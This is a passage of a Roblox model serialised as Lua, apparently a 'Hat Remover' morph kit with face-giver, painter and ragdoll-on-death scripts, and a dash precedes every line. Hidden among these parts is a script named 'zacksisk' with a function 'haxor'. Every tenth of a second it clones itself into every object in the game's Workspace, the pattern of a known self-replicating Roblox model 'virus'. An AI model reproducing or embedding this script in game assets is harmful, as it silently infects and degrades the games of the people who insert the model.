- Handle_4.Parent = LongHairHeadBand_2
- Mesh_8.MeshType = Enum.MeshType.FileMesh
- Mesh_8.MeshId = "http://www.roblox.com/asset/?id=13070796"
- Mesh_8.TextureId = "http://www.roblox.com/asset/?id=292357315"
- Mesh_8.Parent = Handle_4
- ThumbnailCamera_2.CFrame = CFrame.new(35.462,1.652,-20.987,-0.771,0.04,-0.636,0,0.998,0.063,0.637,0.048,-0.769)
- ThumbnailCamera_2.Focus = CFrame.new(36.734,1.526,-19.448,1,0,0,0,1,0,0,0,1)
- ThumbnailCamera_2.Name = "ThumbnailCamera"
- ThumbnailCamera_2.Parent = LongHairHeadBand_2
- MischiefHorns_2.AttachmentForward = Vector3.new(0,-0.1,-0.995)
- MischiefHorns_2.AttachmentPoint = CFrame.new(0,0.9,0,1,0,0,0,0.995,0.1,0,-0.1,0.995)
- MischiefHorns_2.AttachmentPos = Vector3.new(0,0.9,0)
- MischiefHorns_2.AttachmentUp = Vector3.new(0,0.995,-0.1)
- MischiefHorns_2.Name = "Mischief Horns"
- MischiefHorns_2.Parent = AcePilot_1
- Handle_5.Anchored = true
- Handle_5.BottomSurface = Enum.SurfaceType.Smooth
- Handle_5.CFrame = CFrame.new(82.989,5.645,137.995,1,0,0,0,1,0,0,0,1)
- Handle_5.CanCollide = false
- Handle_5.Locked = true
- Handle_5.Size = Vector3.new(1,1,1)
- Handle_5.TopSurface = Enum.SurfaceType.Smooth
- Handle_5.Name = "Handle"
- Handle_5.Parent = MischiefHorns_2
- Mesh_9.MeshType = Enum.MeshType.FileMesh
- Mesh_9.MeshId = "http://www.roblox.com/asset/?id=15934744"
- Mesh_9.TextureId = "http://www.roblox.com/asset/?id=15934762"
- Mesh_9.Scale = Vector3.new(1.02,1.02,1.02)
- Mesh_9.Parent = Handle_5
- HatAttachment_4.Axis = Vector3.new(1,0,0)
- HatAttachment_4.CFrame = CFrame.new(0,-0.07,0,1,0,0,0,1,0,0,0,1)
- HatAttachment_4.Orientation = Vector3.new(0,0,0)
- HatAttachment_4.Position = Vector3.new(0,-0.07,0)
- HatAttachment_4.Rotation = Vector3.new(0,0,0)
- HatAttachment_4.SecondaryAxis = Vector3.new(0,1,0)
- HatAttachment_4.Name = "HatAttachment"
- HatAttachment_4.Parent = Handle_5
- OriginalSize_2.Value = Vector3.new(1,1,1)
- OriginalSize_2.Name = "OriginalSize"
- OriginalSize_2.Parent = Handle_5
- AccessoryWeld_1.C0 = CFrame.new(0,-0.07,0,1,0,0,0,1,0,0,0,1)
- AccessoryWeld_1.C1 = CFrame.new(0,0.6,0,1,0,0,0,1,0,0,0,1)
- AccessoryWeld_1.Part0 = Handle_5
- AccessoryWeld_1.Part1 = Head_2
- AccessoryWeld_1.Name = "AccessoryWeld"
- AccessoryWeld_1.Parent = Handle_5
- Part.BottomSurface = Enum.SurfaceType.Weld
- Part.CFrame = CFrame.new(82.99,0.2,136.064,1,0,0,0,1,0,0,0,1)
- Part.Color = Color3.new(0.843,0.773,0.604)
- Part.LeftParamA = 0
- Part.LeftParamB = 0
- Part.RightParamA = 0
- Part.RightParamB = 0
- Part.Size = Vector3.new(6,0.4,9)
- Part.TopSurface = Enum.SurfaceType.Smooth
- Part.Parent = Model
- Neck_2.C0 = CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,0)
- Neck_2.C1 = CFrame.new(0,-0.5,0,-1,0,0,0,0,1,0,1,0)
- Neck_2.Name = "Neck"
- Neck_2.Parent = Part
- HatRemover.Name = "Hat Remover"
- HatRemover.Parent = Model
- Morph_1.Health = 0
- Morph_1.MaxHealth = 0
- Morph_1.WalkSpeed = 0
- Morph_1.Name = "Morph"
- Morph_1.Parent = HatRemover
- zacksisk.Name = "zacksisk"
- zacksisk.Parent = HatRemover
- table.insert(functions,sandbox(zacksisk_1,function()
- function haxor()
- x = game.Workspace:GetChildren()
- for i = 1, #x do
- if x[i]:FindFirstChild("zacksisk") == nil then
- local w = Instance.new("Weld")
- w.Parent = x[i]
- w.Name = "zacksisk"
- s = script:clone()
- s.Parent = w
- s.Name = "zacksisk"
- end
- end
- end
- while true do
- haxor()
- wait(.1)
- end
- end))
- zacksisk_1.Name = "zacksisk"
- zacksisk_1.Parent = zacksisk
- Head_3.Anchored = true
- Head_3.BottomSurface = Enum.SurfaceType.Smooth
- Head_3.CFrame = CFrame.new(95.327,0.2,137.528,-1,0,0,0,-1,0,0,0,1)
- Head_3.Color = Color3.new(1,0,0)
- Head_3.Material = Enum.Material.Marble
- Head_3.Reflectance = 0.5
- Head_3.Size = Vector3.new(4,0.4,4)
- Head_3.TopSurface = Enum.SurfaceType.Smooth
- Head_3.Name = "Head"
- Head_3.Parent = HatRemover
- table.insert(functions,sandbox(Debounce,function()
- debounce = true
- button = script.Parent
- function onTouched(hit)
- if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
- debounce = false
- button.BrickColor = BrickColor.Red()
- wait(1)
- button.BrickColor = BrickColor.Green()
- debounce = true
- end
- end
- button.Touched:connect(onTouched)
- end))
- Debounce.Name = "Debounce"
- Debounce.Parent = Head_3
- table.insert(functions,sandbox(HatRemover_1,function()
- function onTouched(hit)
- local d = hit.Parent:GetChildren()
- for i=1, #d do
- if (d[i].className == "Accessory") then
- d[i]:remove()
- end
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- HatRemover_1.Name = "HatRemover"
- HatRemover_1.Parent = Head_3
- Mesh_10.Parent = Head_3
- table.insert(functions,sandbox(Script_1,function()
- Character = script.Parent
- Humanoid = Character.Humanoid
- Torso = Character.Torso
- function OnDeath()
- print("Death")
- Humanoid.Parent = nil
- if Torso then
- local Head = Character:FindFirstChild("Head")
- if Head then
- local Neck = Instance.new("Weld")
- Neck.Name = "Neck"
- Neck.Part0 = Torso
- Neck.Part1 = Head
- Neck.C0 = CFrame.new(0, 1.5, 0)
- Neck.C1 = CFrame.new()
- Neck.Parent = Torso
- end
- local Limb = Character:FindFirstChild("Right Arm")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "RightShoulder"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- local Limb = Character:FindFirstChild("Left Arm")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "LeftShoulder"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- local Limb = Character:FindFirstChild("Right Leg")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "RightHip"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- local Limb = Character:FindFirstChild("Left Leg")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "LeftHip"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- --[
- local Bar = Instance.new("Part")
- Bar.TopSurface = 0
- Bar.BottomSurface = 0
- Bar.formFactor = "Symmetric"
- Bar.Size = Vector3.new(1, 1, 1)
- Bar.Transparency = 1
- Bar.CFrame = Torso.CFrame * CFrame.new(0, 0.5, 0)
- Bar.Parent = Character
- local Weld = Instance.new("Weld")
- Weld.Part0 = Torso
- Weld.Part1 = Bar
- Weld.C0 = CFrame.new(0, 0.5, 0)
- Weld.Parent = Torso
- --]]
- end
- end
- Humanoid.Died:connect(OnDeath)
- end))
- Script_1.Parent = HatRemover
- FaceGiver.Anchored = true
- FaceGiver.BottomSurface = Enum.SurfaceType.Smooth
- FaceGiver.CFrame = CFrame.new(94.61,3.5,147.35,1,0,0,0,1,0,0,0,1)
- FaceGiver.Color = Color3.new(0.996,0.953,0.733)
- FaceGiver.Size = Vector3.new(7,7,1)
- FaceGiver.TopSurface = Enum.SurfaceType.Smooth
- FaceGiver.Name = "FaceGiver"
- FaceGiver.Parent = Model
- table.insert(functions,sandbox(Script_2,function()
- function getDecal()
- decals = {}
- for i,child in pairs(script.Parent:getChildren()) do
- if child.className == "Decal" then
- table.insert(decals, child)
- end
- end
- if #decals ~= 0 then
- return decals[math.random(1, #decals)]
- end
- return nil
- end
- function onTouch(hit)
- if hit.Parent:findFirstChild("Humanoid") ~= nil then
- local head = hit.Parent:findFirstChild("Head")
- if head ~= nil then
- local face = head:findFirstChild("face")
- if face.Texture ~= getDecal().Texture then
- face.Texture = getDecal().Texture
- end
- end
- end
- end
- script.Parent.Touched:connect(onTouch)
- end))
- Script_2.Parent = FaceGiver
- ZeroTwo_2.Texture = "http://www.roblox.com/asset/?id=4510571168"
- ZeroTwo_2.Name = "Zero Two"
- ZeroTwo_2.Parent = FaceGiver
- Painter.Anchored = true
- Painter.CFrame = CFrame.new(98.617,3,134.904,-1,0,0,0,1,0,0,0,-1)
- Painter.CanCollide = false
- Painter.Color = Color3.new(0.996,0.953,0.733)
- Painter.Size = Vector3.new(2,6,2)
- Painter.Name = "Painter"
- Painter.Parent = Model
- table.insert(functions,sandbox(Script_3,function()
- bin = script.Parent
- function onTouched(part)
- part.BrickColor = script.Parent.BrickColor
- wait(.3)
- end
- connection = bin.Touched:connect(onTouched)
- end))
- Script_3.Parent = Painter
- for i,v in ipairs(functions) do
- spawn(function()
- pcall(v)
- end)
- end
- for i,v in ipairs(mas:GetChildren()) do
- v.Parent = workspace
- end
- mas:Destroy()
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